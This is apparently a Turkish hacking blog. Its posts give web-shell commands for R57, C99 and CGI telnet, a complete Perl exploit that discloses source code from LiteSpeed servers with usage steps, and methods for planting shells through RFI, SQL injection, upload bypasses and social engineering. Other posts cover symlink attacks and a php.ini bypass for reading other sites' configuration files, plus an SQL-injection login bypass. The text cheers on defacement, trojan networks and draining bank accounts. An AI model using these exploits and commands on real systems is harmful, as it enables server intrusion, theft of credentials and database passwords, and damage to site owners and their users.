17 Nisan 2014 Perşembe

R57 Shell Komutları

cat /etc/shadow – Sunucudaki Site Sifreleri Saklıdır %90 Perm Vardır

cat /etc/passwd – Sunucudaki Kullanıcıları Listeler

/var/named – Sunucudaki Siteleri Listeler

/var/cpanel – Cpanel Loglarını Verir

/var/mail – Sunucudaki Kullanıcıları Listeler

/tmp – Linuxte yazma İzni En Cok Bulunan Klasor

/etc/vdomainaliases – Hem Kullanıcıları Hemde Site Adreslerini Listeler

Kaynak Kod Okuma

Evet Arkadaşlar Hala Birçok LiteSpeed Server'da Bu Açık Olduğu İçin Paylaşıyorum.

Exploiti Kullanman İçin Bilgisayarında Perl Yüklü Olmalıdır Strawberry Perl öneririm
Aşağıda Vereceğim Exploit Kodlarını lite.pl olarak kaydet ve C:\Perl\Bin Klasörüne At

Sonra Başlat > Çalıştır > cmd
Gelen Ms-Dos Ekranına cd.. komutunu vererek C:\ dizinine kadar tekrarla C:\ ulaştıktan sonra 
cd C:\perl\bin Yazıp Enter'la ve Sonra Exploit Kodumuzu Yazıyoruz

perl lite.pl www.hedefsitemiz.com config.php

bu komut sana doğrudan config.php dosyasının içeriğini verir :) yani rahatça okursun.

Exploit Kodları: 
#!/usr/bin/perl
#
#LiteSpeed Technologies Web Server Remote Source Code Disclosure zero-day
Exploit
#By Kingcope
#Google search: ""Proudly Served by LiteSpeed Web Server""
#June 2010
#Thanks to TheDefaced for the idea, http://www.milw0rm.com/exploits/4556
#

use IO::Socket;
use strict;

sub getphpsrc {
my $host = shift;
my $file = shift;

if (substr($file, 0, 1) eq "/") {
    $file = substr($file, 1);
}
my $file2 = $file;
$file2 =~ s/\//_/g;
print "Saving source code of $file into $host-$file2\n";

my $sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => '80',
                              Proto    => 'tcp') || die("Could not connect
to $ARGV[0]");

print $sock "GET /$file\x00.txt HTTP/1.1\r\nHost: $ARGV[0]\r\nConnection:
close\r\n\r\n";

my $buf = "";

my $lpfound = 0;
my $saveme = 0;
my $savveme = 0;
while(<$sock>) {
    if ($_ =~ /LiteSpeed/) {
        $lpfound = 1;
    }

    if ($saveme == 2) {
        $savveme = 1;
    }

    if ($saveme != 0 && $savveme == 0) {
        $saveme++;
    }

    if ($_ =~ /Content-Length:/) {
            $saveme = 1;
    }

    if ($savveme == 1) {
        $buf .= $_;
    }
}

if ($lpfound == 0) {
    print "This does not seem to be a LiteSpeed Webserver, saving file
anyways.\n";
}

open FILE, ">$host-$file2";
print FILE $buf;
close FILE;
print "Completed.\n";
}

print "LiteSpeed Technologies Web Server Remote Source Code Disclosure
Exploit\n";
print "By Kingcope\n";
print "June 2010\n\n";

if ($#ARGV != 1) {
    print "Usage: perl litespeed.pl  \n";
    print "Example: perl litespeed.pl www.thedomain.com index.php\n";
    exit(0);
}

getphpsrc($ARGV[0], $ARGV[1]);

print "Operation Completed :>.\n";

C99 kullanımı

Shell Kullanımı – Shell Nasıl Atılır ?
smf ye shell sokmak admini sağlamsa zor yani admini sağlamsadan kastım şifresini kaptırmayan admindir bu cpanel olur admin panel olur her türlü şifreniz sisteme shell sokulmasına yatak yorgan olur… Eğer Siteniz Shell Scriptle Hackleniyorsa Ve Bu Shell Script Sizin Ftpnizde Olmadığından Eminseniz O Zaman Hostçunuzun Tepesine Bineceksiniz Nedenmi Çünkü Shell Script Hostunuzda Tüm Kapıları Açıyor Demektir… Nedir Bu Kapılar Misal;

/var/named Komutu Yazıldığında Shell Script “RUN COMAND” Bölümüne Eğer Önünüze Hosttaki Siteler Liste Halinde Dökülüyorsa Host Nanay Durumda Demektir… En Baba Kapı Budur Bunu Aştığınızda… Hostta Ne Var Ne Yok Yönetebilirsiniz… Veya

/etc/vdomainaliases Komutuda Hosttaki Tüm Siteleri Liste Halinde Önünüze Döker Örnek;

92930101 -rw-r–r– 1 adultlo3 mail 0 Jun 3 03:36 zzzzzzz.com
98526718 -rw-r–r– 1 soligon6 mail 0 Aug 5 08:40 wwwwwwwww.com
98520277 -rw-r–r– 1 riffpad1 mail 0 Apr 12 2007 qqqqqqqqqqqqq.com
98530961 -rw-r–r– 1 azooeli5 mail 0 May 3 14:30 eeeeeeeeeee.com
98530974 -rw-r–r– 1 azooeli5 mail 0 May 3 14:31 ffffffffffffffffffffff.net
98519413 -rw-r–r– 1 riniyou3 mail 0 Apr 10 2007 rrrrrrrrrrrr.com
98527130 -rw-r–r– 1 wheebro8 mail 0 Apr 25 17:31 gggggggggggg.com
98520138 -rw-r–r– 1 rleashe6 mail 0 Apr 12 2007 yalandandomain.com
98527218 -rw-r–r– 1 nebphaj0 mail 0 Apr 25 20:34 kkkkkkkkkkkkk.com
98527927 -rw-r–r– 1 contnis3 contnis3 0 Apr 26 23:10 ssssssssssss.com
98531870 -rw-r–r– 1 aushdou7 mail 23 Jun 7 12:12 uuuuuuuu.com
98525522 -rw-r–r– 1 innehea0 mail 0 Apr 21 07:04 ddddddddddddd.com

Bu Örnekten Yola Çıkarak;

Ben Diyelim
www.xyz.com Hostundaki www.abc.com Sitesine Bi Şekilde Shell Script Soktum;

Bu Host Serverında Kurulum Şekli; /home/xxxxxx/public_html/ şeklinde olsun misal;

Benim Shell Script Soktuğum Kişinin Serverdaki Kullanıcı Adı master03 diyelim onada misal;

Shell Scripti Soktuğunuzda Serverdaki Kurulu İsim /home/master03/publich_html olarak Karşımıza Çıkar…

10 -15 Satır Yukarda İki Tane Komut Vermiştim Hatırlarsanız… Neydi Bunlar /var/named ve /etc/vdomainalises …

En Düzenli Şekilde Server Listesini Veren Komut /etc/vdoaminalises tir…

Şimdi Gelelim Sonuca run comand bölümüne yada fark etmez work directory bölümüne /etc/vdomainaliases yazdık ve önümüze yukardaki örnekteki gibi server list döküldü artık işimiz çok kolay siteleri hacklemek için…

Bakın Ne Diyorum Siteleri Hacklemek Çok Kolay Sadece Ftp Sine Shell Script Attığımızı Değil Serverdaki Tüm Siteleri Hackleyebiliriz…

Bunun İçin Bir Başka Komuda İhtiyacımız Var Aslında Komut Değil Hackelemek İstediğimiz Kişinin Serverdaki Kullanıcı Adı Şimdi Hangisi Kullanıcı Adı Hangisi Ne Onu Görelim

98520138 -rw-r–r– 1 rleashe6 mail 0 Apr 12 2007 yalandandomain.com

Yukarda Gördüğünüz Rastgele Bir Sitenin Kullanıcı Adı Vesayre Vesayre

98520138 = Sitenin Serverdaki İd’si
-rw-r–r– = Chmod Ayarları
rleashe6 = Server Kullanıcı Adı
0 Apr 12 2007= Servera Başlangıç Tarihi
yalandandomain.com = Buda Son Olarak Site Adresi

Yukardaki Ayrıntıda Bizim İçin Önemli Olan rleashe6 = Server Kullanıcı Adı Bu Kısım

Neydi Bizim Shell Script Soktuğumuz Ftpnin Kullanıcı Adı Master03 şimdi En Önemli Nokta Burası…

/home/master03/publich_html Olan Kısımı ben /home/rleashe6/publich_html Olarak Değiştirirsem…

www.abc.com ‘un Ftpsinde Barınan Dosyalardan www.yalandandomain.com ‘un Ftpsinde Barınan Dosyalara Gecerim

Diyelim Burda Bir Smf Script Kurulu…. Smf Shell Script Aracılığıyla Hacklenen En Kolay Scripttir Ama Shell Yemediğiniz Ve Serverınızda Shell Olmadığı Sürecede En Sağlam Forum Scripti Smfdir…

Neyse Smf Kurulu Dedik Burdada Ben Fazla Zarar Vermek İstemiyorum Diyelimki Beyaz Şapkalı h.a.c.k.e.r’im Misal… Forumunuza **** Atıp Açığınız Var Diye Belirtmek İstiyorum… Bunun İçin Sql Bilgilerinize Ulaşıp Databesini Yönetmem Gerek… Sql Bilgisini Smfde Hangi Dosyada Yazar Bilirsiniz… “Settings.php” Bunun İçin Settings.php Yi Okumalıyım…

Okumak Servera Sızmaktan Daha Kolay Bunun 3 – 5 Çeşit Yolu Var En Kolayını Söyleyim Size;

cat Settings.php Yazdığımız Zaman Run Comand Bölümüne Settings.php İçinde Ne Var Ne Yoksa Önümüze Dökülür Bize Lazım Olan;

dbname:
dbusername:
dbpasswd: Bölümleridir..

Bunları Settings.php Den Aldık Diyelim…

C99 Shell Scriptimizde Var Servarda Ve Bu Bilgileri C99 Shell Scriptin Sql Sorgulama Bölümüne Yazıyoruz…

Ve Smf_ prefix önbellekli databasein İçindeyiz Varsayın ki Kendi Phymyadmin Panelindesiniz Herşey Aynı Sadece Renkler Az Siyah Hepsi O Kadar…

Şimdi ****nın Atılacağı En Güzel Yer smf_categories Tablosudur Bu Tablonun İçine Giriyoruz Ve Sayfanın En Sağınndaki Değiştir Seçeneğine Tıklıyoruz Ve ****mızı Ordaki Her Hangi Bir Kategori Başlığına Yazıyoruz… Ve Bu İşlemler Sonrasında Site Hacklenmiş Oluyor….

Aynı Şeyler Joomlalar, Php Nukeler, Php Fusionlar, Word Pressler, Vbulluetinler, Ve Daha Sayamadığım Aklınıza Gelebilecek Tüm Databesi Olan Scriptler İçindir….

Joomlaya Daha Kolay Shell Script Sokulmaktadır Sebeb RFİ Açığıdır…

16 Nisan 2014 Çarşamba

Shell Nasıl Yüklenir

Shell Servera Nasıl Yüklenir?
Bir önceki yazımızda shell'in ne olduğundan bahsetmiştik..

Shell'i servere yüklerken

  •  Remote file inclusion (RFI) açıklarından faydalanabiliriz
  •  Sql injection açıklarından faydalanabiliriz
  •  Exploits kullanarak yükleme yapabiliriz
  •  Upload (Dosya izinlerinden oluşan upload açıkları)  açıklarından faydalanabiliriz
  •  Logger vb. spy yazılımlardan faydalanabiliriz
  •  Hedef sunucu hostundan hesap açarak yükleme yapabiliriz
  •  Sosyal mühendislik (social engineering) kullanarak yükleme yapabiliriz

1) Remote file inclusion açıklarını kullanarak .txt uzantılı shellimizden bu yazımızda bahsettiğimiz izinler çerçevesinde (permissionlar) istediğimiz gibi .php uzantılı shell yükleyebiliriz. veya bağlandığımız .txt shell ile yine sunucu yetkileri çerçevesinde alt dizinlere geçebiliriz yada indeximizi upload eder çıkarız.


siteadi.com : siteadi.com

ile bağlandığımız siteye .php uzantılı shelli upload edersek kullanımı şu şekilde olur.

SiteAdi.com - Siteadi.com
şeklinde kullanıma geçebiliriz.

RFI konusunu artık bilmeyen yok ama bilmeyen hala var ise bir ara değiniriz. Şuanda RFI bitmesede çok nadir rastlanan açıklar haline geldi. bu yüzden bütün güvenlik bilgilerinizi RFI açığına bağlamayınız.

2) SQL Injection Açığıyla nasıl shell yükleriz derseniz, öncelikle SQL açığını kullanmasını bilen mantığı hemen anlar. Nedir bu mantık? Sql kodları yardımıyla site sahibinin kullanıcı adı ve şifresini elde ediyoruz. kimi zaman md5 seklinde şifre gelir, bizde md5 cracker yardımıyla hashleri kırarız.
elde ettiğimiz kullanıcı adı ve şifre ile siteye giriş yaparız, admin panelden bir upload kısmından shell dosyamızı (.php veya .asp) upload ederiz ve yine sunucuya bağlanmış oluruz.

Sql şuanda en çok kullanılan yaygın hacking (güvenlik zafiyeti) yöntemlerinden biridir. Çok büyük sitelerde, CMS sistemlerde bile rastlanan hiç değilse her serverde en az 1 den fazla sitede rastlanan açıktır.

3) Exploits kullanarak shell atabiliriz buda yine derlenmiş exploitler sayesinde sitenin admin bilgilerini (kullanıcı adı ve şifresini) elde ederek admin panelden shell upload edebiliriz ve yine sunucuda yetkilerimiz dahilinde işlem yapabiliriz.

Bu kısma şöyle bir örnek verelim, bir dönem IPBoard forumlarında belirli açık sayesinde yazılan exploits ile admin şifrelerine ulaşabiliniyordu. Tabi CMS sistemler sürekli güncellendiğinden daha sonraları kapatıldı bu açık.

4) Upload açıklarından faydalanarak sitelere shell yükleyebiliriz. Burada genellikle .php veya .asp uzantılı shellerimizi kabul etmeyen upload siteleriyle karşılaşıyoruz. Bunun için shell içine gıf89;a yazısını ekleyerek upload sayfasının yükleyeceğimiz shelli resim dosyası olarak görmesini sağlayabiliriz.
Aklınızın alamayacağı kadar çok upload açıklı dosyalar vardır. Bunlardan en çok kullanılan bir iki tanesini buraya bakalım;

upload.php , upload.asp , upload.htm , upload.html  
Tabi bu uzantıları ve upload sayfalarını siz hayal gücünüze bağlı olarak üretebilirsiniz..

5) Logger vb. spy yazılımlar kullanılarak shell yüklenmesi öncelikle hedef sitemizin adminini buluyoruz gerekli sosyal mühendislik vb. işlemleri gerçekleştirdikten sonra loggeri yedirip admin şifreleride dahil olmak üzere ftp ve mail şifrelerini alıyoruz. Tabi bu kısım ayrı bir uzmanlık alanı gerektirir.. Çok geniş bir konudur ki tecrübe ister. Neyse devam edelim aldığımız şifreler sayesinde site sahibinin yetkilerini almamıza rağmen FTP'sine girdiğimiz sitenin sunusunada ulaşmak istiyorsak shell upload eder ve yetkilerimiz çerçevesinde izinlerimizi kullanarak siteyi veya tüm serveri hackleyebiliriz.

6) Host firmasına yapılan sosyal mühendislik ile shell yükleme işi ise şöyle yapılır,  diyelimki hedef bir sitede her şeyi yapmamıza rağmen bir türlü açık bulamadık. genelde son çare olarak kullanılan bu yöntemle hostçuyla irtibata geçer sosyal mühendislik yaparak sunucudan bir hesap açarız, açtığımız hesapta ise küçük bir script kurar ve FTP'mize shell atarak serveri rootlar hedef siteye ulaşırız veya manuel geçişler yaparakda hedef siteye ulaşabiliriz.

7) Sosyal mühendislik yöntemiyle siteye shell yükleme yapabiliriz. Burada işin içine sosyal mühendislik girdiği için belirli bir yöntem yoktur. Ancak sm yapan kişinin kabiliyetine, tecrübesine  bağlıdır. Kişi sosyal mühendislik yapabilecek kabiliyetteyse çok kolay ve rahat bir şekilde çeşitli yollarla siteye veya FTP'ye ulaşarak shell atabilir. Ancak bu Sosyal mühendislik olayı ayrı bir uzmanlık alanı olduğu söylemiştik.. İstenirse daha sonra detaylıca birkaç yöntem ile sitemizde anlatabiliriz.
evet Shell'imizin başlıca yükleme yöntemlerini saydık, tabi  7 madde hayal gücünüze bağlı çoğaltılabilir. Hibritleştirebilirsiniz bu maddeleri.

Kaç Tür Shell Vardır?

Genel olarak kullanılan 3 çeşit shell vardır. Bunlar .php, .asp ve .aspx dillerindeki shellerdir. Şuanda bu dillerde yazılmış 1000lerce shell var hepsinin çalışma mantığı aynıdır ancak birkaç farklı özellik
eklenmiş halleri vardır.

Ençok Kullanılan Sheller Başlıca Şöyledir:

C99.php (Yeni başlayanlar için kullanımı kolay, arayüzü oldukça basit bir shell)
R57.php (Shell sistemini artık çözmüş kod bilgisine döken kişiler kullanır)
CyberSpy5.asp ( Genellikle biz cetinia adminlerinin kullandığı shelldir)
LORD.aspx ( ihtiyacı gören, kullanışlı zaman zaman kullandığımız tavsiye bir shelldir.)
c99 veya r57 .txt sheller ( Bunlar RFI için kullanılan shellerdir, RFI'de .asp shell veya .php shell kullanılmaz.)

şimdi şöyle devam edelim ve  bitirelim;

.php uzantılı sheller unix, linux, freebsd sunucularında kullanılır.

.asp uzantılı sheller ise windows sunucularda kullanılır.

şimdi siz bir linux server'e .asp uzantılı shell atamazsınız atsanız dahi çalıştıramazsınız.

ancak windows serverlere nadirende olsa rastlamışımdır. .php uzantılı sheller atılabiliryor. ancak .asp shell kadar yetki vermiyor. genelde editleme yetkisine rastladım. yükleme ve silme yetkileri bulunmamaktadır.

Bu sebepten shell yükleyeceğiniz sitenin sistemini araştırmanız ve iyi bilmeniz gerekmektedir..

(Ekran görüntüsünde basit bir shell ile root olunmuş arayüzü görüyoruz)

Cgi telnet Nedir

Selamin Aleykum Arkadaşlar .
Yoğun İstek Üzerine CGI Telnet İle İlgili Dökümanlari Genişletmeyi Düşündüm .
——————————————————————-
Şimdi CGI Telnet İle Neler Yapabiliriz ?
CGI Telnet İle Nasıl Serverdaki Sitelerin Config bilgilerini Öğrenebiliriz ?
CGI Telnet İle Öğrendiğimiz Config bilgileri ile siteye nasıl index atarız ?
Admin MD5 Şifresini Nasıl Değiştirebiliriz.?
Bu Sorularin Hepsini Aşağıdaki Linkte Anlattim .
CGI Telnet İle Neler Yapabiliriz Resimli ve Detayli Anlatım için Tıklayınız.
——————————————————————–
1 – CGI Telnet Calısmayan Serverlarda nasıl CGI-Telnet Calıstırabiliriz ?
2 – CGI Telnet Komutlari Nedir Nasıl Calışır ? .
3 – ln -s ssh koruması olan serverlarda nasıl config bilgileri cekebiliriz ?
4 – serverdaki hedef sitenin tüm ftpsini nasıl görebiliriz?
——————————————————————–
Gelelim 1 – CGI Telnet Calısmayan Serverlarda nasıl CGI-Telnet Calıstırabiliriz ?
Şimdi vericeğim .htaccess’i CGI-Telnet Attımız dizine atıyoruz.
ve CGI-Telnetımıze 755 Chmod izini veriyoruz.
CGI-Telnet Calısmayan Serverlarda CGI-Telnet Calıştırmak için gerekli olan .htaccess indir
———————————————————————
Buda Benim Kendi CGI-Telnetim By-Sahin'in  CGI-Telnet İndir
———————————————————————-
Şimdi Kafanız Karıştı biliyorum eğer bu işe yeni başladiysaniz biliyorumki
Bana sövüyorsunuz şimdi . Bune lan ne diyon anlamıoz amk koyum :D
O zaman Şöyle anlatayım . r57 yada islami yada c99 artık ne shell
kullanıyorsanız . verdiğim cgi telneti ve .htaccessi bulundugunuz dizine atın
ve cgi telnete 0755 chmod izni verin . Sonra cgi mutlaka calısıcaktır.
———————————————————————
2 – CGI Telnet Komutlari :
cat /etc/passwd : Serverdaki Kullanici Adlarini Listeler.
cat /etc/named.conf | grep zone : Serverdaki Siteleri Listeler.
mkdir xxx : Bulundugunuz Dizinde xxx Dosyasini Olusturmanizi Sağlar.
chmod 777 xxx : xxx Klasorune 777 Tam Yetki Vermenizi Sağlar .
ls -la : Bulundugunuz Dizindeki Dosyalari ve Klasorleri Listeler.
cd : cd /home/xxx/public_html [ xxx ] Dizine Direk Geçiş Sağlar.
cat : cat config.txt [ config.txt ' yi Okumanızı Saglar ]
ln -s /home/xxx/public_html/wp-config.php config.txt[ xxx Dizinindeki
wp-config.php ‘ yi config.txt ‘ ye Direk aktarir.
--------------------------------------------------------------------------------------------
3 - SHH [ Ln -s calısmayan serverlarda ln -s okutmak config cekmek ]
ln dosyasını indirmek için tıklayınız.

Peki Nasıl Kullanabilirsiniz ?

Ln dosyasını config bilgilerini cekiceğiniz dizine yani ln -s yapacağınız

dizine atıcaksınız ve ln dosyasına chmod 0755 vericeksiniz .

Sonra ./ln -s ssh koruması kalkmiş olacak . bi nevi Bypass.

Config Cekerken normalde ln -s olarak cekiyoruz ama ln dosyamızı

attıkdan sonra


./ln -s /home/kuladı/public_html/ diye cekebilirsiniz.
——————————————————————————————–
4 – serverdaki hedef sitenin tüm ftpsini nasıl görebiliriz?
.htaccess Symlink indirmek için tıklayınız . 
İndirdikden sonra direk bilgileri okumak istediğiniz dizine atmanız yeterLidir.
———————————————————————————————
Atladiğim bir şey varsa affola bu kadar yeter sanırım alıntı yapıcak arkadaşlar
altına kimden [ Ç ] aldığınızı lütfen yazin
Selametle .

Sym Link Nedir

Symlink Nedir? Symlink ile Web Hacking
Önce “Symlink”in ne olduğu hususuna değineceğim. Linux işletim sistemlerinde tüm dosyalar hiyerarşik bir düzende klasörlerin (dizinlerin) içerisinde tutulurlar. Bir klasör içerisinde bulunan dosyayı başka bir klasör içerisinde kullanmak istiyor isek ve bu dosyayı bulunduğu klasör dışında bir yere kopyalamak istemiyor isek imdadımıza “Symlink” yetişiyor. Symlink adından da anlaşılacağı üzere bir sembolik bağ oluşturur. Bu yöntem ile üzerinde çalıştığımız dosya bir yerde olacak ve biz ona istediğimiz dizinden erişebileceğiz. Temel saldırı mantığı da burada oluşmaktadır işte… Linux’ta bulunan (ln) komutu bu sembolik bağı oluşturmak için kullanılır. Bir sunucuya erişildiğinde eğer gerekli güvenlik önlemleri alınmış ise kritik dosyaların içeriği okunamamaktadır. Örneğin, configuration.php dosyası okunamıyor. Symlink yaparak uzaktan bu dosya rahatlıkla okunabilir. Web sunucumuzun güvenliğini sağlamış olalım. Sunucumuzda Shell-Exploitlerin çalıştığı fonksiyonların devre dışı olduğunu varsayalım. Böyle bir web sunucusunda exploitler çalışmayacaktır.
“ln –s /root/eyup/klasor/dosya.txt  /var/www/eyup.txt”
Bu komut ile /root/eyup/klasor/ dizininde bulunan dosya.txt dosyası /var/www/ dizininde eyup.txt dosyasına symlink’lendi. Böylece erişemediğimiz dosya.txt dosyasına Symlink üzerinden erişerek /var/www/eyup.txt dizininden okuyabiliriz. Bu yöntem ile güvenlik önlemlerinin bir çoğu bypass edilmiş olacaktır.
PHP’de de bu aşağıdaki gibi olacaktır.
<?php
$dosya = ‘../../home/asia/configuration.php’;
$yeniYol = ‘../../home/erica/sym/1.txt’;
symlink($dosya, $yeniYol);
echo readlink($yeniYol);
?>
Bu PHP kodu ile /home/asia/ dizininde bulunan configuration.php dosyasını okuyarak /home/erica/sym/ dizininde 1.txt olarak symlink’ledik. Normal şartlarda erişemediğimiz configuration.php dosyasına Symlink üzerinden erişerek, dosya içerisinde bulunan yolları okuduk.
Örnek bir uygulama yapalım.
Symlink
Resim-01
02
Resim-02
Resim-01’de göreceğiniz üzere www.eyupcelik.com.tr sitesine yüklenmiş bir Shell mevcut. Bu shellde devre dışı bırakılmış fonksiyonları görebilirsiniz. Resim-02’de de www.fundayilmaz.com.tr sitesinde bulunan Symlink Shell mevcuttur. Biz www.fundayilmaz.com.tr adresinde bulunan Shell den faydalanarak www.eyupcelik.com.tr adresinde bulunan konfigürasyon dosyasına erişeceğiz.
Bunun için Symlink Shell’ine /home/kullanıcıadı/public_html/config.php – dosya adı olarakta 1.txt yazacağız.
03
Resim-03
Okumak istediğimiz ve Symbol linklemek istediğimiz dosya adlarını yazıp symlink’i tıkladıktan sonra 1.txt adındaki dosyamıza erişerek içeriğini okuyabiliriz.
04
Resim-04
Symlink üzerinden okuduğumuz 1.txt dosyası Resim-04’teki gibidir.
Symlink Saldırısını Engelleme
Symlink saldırılarını engellemek için PHP-Symlink fonksiyonunu deaktif etmemiz gerekir. Bunun için php.ini dosyamızda bulunan disable_functions satırını disable_functions= “show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, symlink” şeklinde değiştirip apache sunumuzu restart etmemiz gerekir.
Symlink Engellemesini Bypass Etme
Symlink saldırılarını disable_functions ile engellemiş isek, bu güvenlik önlemi de bypass edilebilir. Bunu bypass etmek için Symlink shell’inin bulunduğu klasör içerisine bir php.ini dosyası yükleyerek bu fonksiyon bypass edilebilir. Yükleyeceğimiz php.ini dosyası içerisine disable_fuctions= “” yazıp, php.ini dosyasını Symlink shell’inin bulunduğunu dizine yükleyerek güvenlik yöntemini atlatabiliriz. Bu bypass yöntemini engellemek için de php.ini dosyasının sadece bir yerden okunması, dış php.ini dosyalarının okunmasını engelleyerek atlatabilirsiniz.
Konu ile ilgili olarak hazırlamış olduğum videoya aşağıdan erişebilirsiniz.
{youtube}GHaO5okEc2k{/youtube}
Yardımlarından dolayı İsmail SAYGILI’ya teşekkür ederim.
Güvenli günler.

12 Nisan 2014 Cumartesi

SQL injection nedir

SQL Nedir?

SQL (Structured Query Language) veritabanlarında data çekme, silme ve değiştirme gibi işlemler için kullanılan basit yapılı bir dildir. Bugün hemen hemen tüm web uygulamalarının altyapısında veritabanı desteği vardır ve bu web uygulamaları veritabanı ile SQL aracılığıyla anlaşırlar.
Bir siteye mesaj bıraktığınızda bu mesaj veritabanına kaydedilir. O mesaj onaylandığında veritabanındaki bir alan güncellenmiş olur. Yönetici veritabanındaki kaydı silerek o mesajın siteden silinmesini sağlar.
Örnek bir kayıt silme SQL cümlesi şu şekilde olabilir;
DELETE FROM members WHERE id=17
Yukarıdaki kod veritabanı tarafından çalıştırıldığında members tablosunda idalanı 17 olan kayıt silinecektir.
Bu makale SQL dilinin basit detaylarını ele almayacaktır. Eğer SQL konusunda zayıf iseniz makaleyi anlamanız güç olacaktır. Makaleye devam etmeden önce SQL in temel komutlarını öğrenmenizi ve veritabanı mantığınız anlamanızı tavsiye ederim.

SQL Injection Nedir?

Web uygulamalarında bir çok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur. Mesela “SELECT * FROM Products” örnek SQL cümleciği basit şekilde veritabanından web uygulamasına tüm ürünleri döndürecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection’ a neden olabilir.

Meta-Karakter Nedir?

Meta-karakter bir program için özel anlamı olan karakterlere verilen isimdir. Örnek olarak C temelli C#, Javascript, PHP gibi dillerde (\) backslash karakteri bir meta-karakterdir. Compiler (derleyici) ya da Interpreter (yorumlayıcı) bu karakteri görünce ondan sonraki karakteri ona göre işler.
SQL’ için kritik metakarakter (‘) tek tırnak’ tır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.
Genel bir web uygulamasında olası bir üye girişi işlemi şu şekildedir;
  • Formdan gelen kullanıcı adı ve şifre bilgisi ile ilgili SQL cümleciği oluşturulur (SELECT * FROM members WHERE user=’admin’ AND password=’sifre’ gibi)
  • SQL cümleciği kayıt döndürüyorsa böyle bir kullanıcının var olduğu anlamına gelir ve session(oturum) açılır ve ilgili kullanıcı üye girişi yapmış olur.
  • Eğer veritabanından kayıt dönmediyse "kullanıcı bulunamadı" veya "şifre yanlış" gibi bir hata ile ziyaretçi tekrar üye girişi formuna gönderilir.

Örnek bir üye girişi kodu

ASP ile yazılmış örnek bir üye girişi kodu;
<%
1.          FUsername = Request.Form("username")
2.          FPassword = Request.Form("password")
3.
4.                Set RsLogin = SQLConn.Execute("SELECT * FROM Members WHERE username =      '" & FUsername & "' AND Password = '" & FPassword & "'")
5.
6.          If RsLogin.EOF AND RsLogin.BOF Then
7.                Response.Redirect "/error.asp"
8.   
9.          Else
10.               Session("login") = RsLogin("user_id")
11.               Response.Redirect "../"
12.
13.         End If
%>
Kod gayet basit. 1. ve 2. satırda “username ve “password” form değişkenlerinin değerlerini alıyor. 4. satırda SQL cümleciğinin içerisine yerleştirip kullanıcı kontrolü yapıyor. 
Bu işlemden sonra 6. satırda sonucun boş olup olmadığına bakıyor. Eğer boş ise yani kullanıcı veritabanında bulunmadıysa 7. satırda görüldüğü gibi kullanıcıyı hata sayfasına gönderiyor.
Eğer bulunduysa 10 ve 11. satırdaki işlemleri yapıyor. Yani kullanıcıya id’ si ile birlikte bir session açıyor. Bu sayede kullanıcı sisteme giriş yapmış oluyor.
Bu klasik bir login prosedürü. Tabii ki daha farklı ya da karışık olabilir.
Kullanıcı adı ve şifreye bir injection denemesi yapıp neler olacağını inceleyelim. Eğer kullanıcı adı ve şifre yerine “' OR ''='” ve “' OR ''='” girersek başarılı bir şekilde üye giriş yapmış oluyoruz ama nasıl ve niye?
Şimdi çalışan örnek kodu tekrar hatırlayalım 1 ve 2. satır form değerini alıyordu 4. satırda bu gelen değerleri SQL’ in içerisine yerleştirip veritabanında sorgu yaptırtıyordu.
Form değerlerini yerlerine yerleştirelim ve az önceki çalışan SQL’ e bakalım;
SELECT * FROM Members WHERE username = '' OR ''='' AND Password = '' OR ''=''
Farkettiğiniz üzere bu SQL sorgusu her zaman doğru dönecek ve “Members” tablosundaki tüm üyeleri getirecektir. Bu SQL cümleciğini tercüme edersek şu şekilde olacaktır. Members tablosundan username boş olanları ve password ü boş olanları getir ya da boş eşittir boş!
Birinci ve ikinci mantıksal kontrolün kayıt döndürüp döndürmesi önemli değil çünkü üçüncü kontrol her zaman doğru olarak döneceğinden (boş her zamana boşa eşit değil mi?) bu SQL cümleciği her zaman tüm kayıtları döndürecektir. Yani kayıt boş mu dolu mu diye kontrol ettiğimizde kayıt dolu olarak gözükecektir. Farkettiyseniz OR kullandık dolayıyla mantıksal sorguların herhangi bir doğru (true) olarak dönerse tüm kayıtlar dönmüş oluyor.
Dolayısıyla bu SQL Injection' ı yaptığımızda dönen kayıtlardaki ilk kullanıcı olarak giriş yapılmış olacaktır.
Gördüğünüz gibi SQL Injection; SQL cümleciklerinin arasına dışarıdan girdi yaparak SQL’ i istediğiniz şekilde manipüle etmenize izin veriyor.

Shell Nedir , Nasıl Atılır

Shell Nedir?

Siteye yüklendiğinde sitede yetkiye göre dosya düzenleyip okumanıza yarayan yetkileriniz olur.Bu yetkiler yazma,okuma ve silme yetkileridir. Shell attığınız sitede bazen bir site sahibinin yetkilerini kullanabilirken bazende sunucu sahibinin yani host sahibinin yetkilerini kullanabiliyorsunuz sunucu sahibinin yetkileri oldukça fazladır.Bu olaya Permission Yetkisi denir.
Permissionları açık bir sunucuda tüm dosyaları değiştirebilir okuyabilirsiniz kısaca sunucunun sahibi sizsiniz demektir.
Eğer permissionları açık bir sunucuda değilseniz sunucu server modülüne göre bir exploit bulup sunucuyu backconnect olup rootlamanız gerekmektedir.
Sunucuyu rootlarken toplu config çekebilir server üzerindeki tüm sitelere index basabilirsiniz.
Yada tam yetkiye ulaştıktan sonra siteler üzerinde manuel dizin değişimleri yapıp index.php - index.htm - index.html dosyalarını düzenleyerek indexinizi basabilirsiniz yada site üzerindeki sayfaya trojan yerleştirip oltalama yöntemi ile kurbanlarınıza indirtebilir ve böylece büyük bir trojan ağı oluşturmuş olursunuz.

Yada shellinizi gizleyip siteyi izleyebilir banka hesaplarına ulaşabilir hesapları boşaltabilirsiniz insanların çalışıp kazandığı paraları bir kod işlemiyle çekebilirsiniz.

Shell Nasıl Atılır?
- RFI açığıyla php dosyasında kullanılan açıkta bulunan include koduna uzaktan shell verisi çekerek sayfa üzerinde shell çalıştırmış oluruz. Artık fazla görünmeyen bir açıktır.
- Sql Injection açıyla komut çalıştırabilir açık üzerinden verileri çekebilir hedef sitenin admin paneline çektiğiniz admin verileriyle giriş yapabilir resim veya dosya yükleme yöntemiyle shellinizi servera sokabilirsiniz.
- Scriptlerdeki upload yani dosya yükleme açıklarından faydalanabiliriz.
- Exploitlerden yararlanıp shellimizi servera sokabiliriz derlenmiş exploitler ile admin bilgilerini alabiliriz.
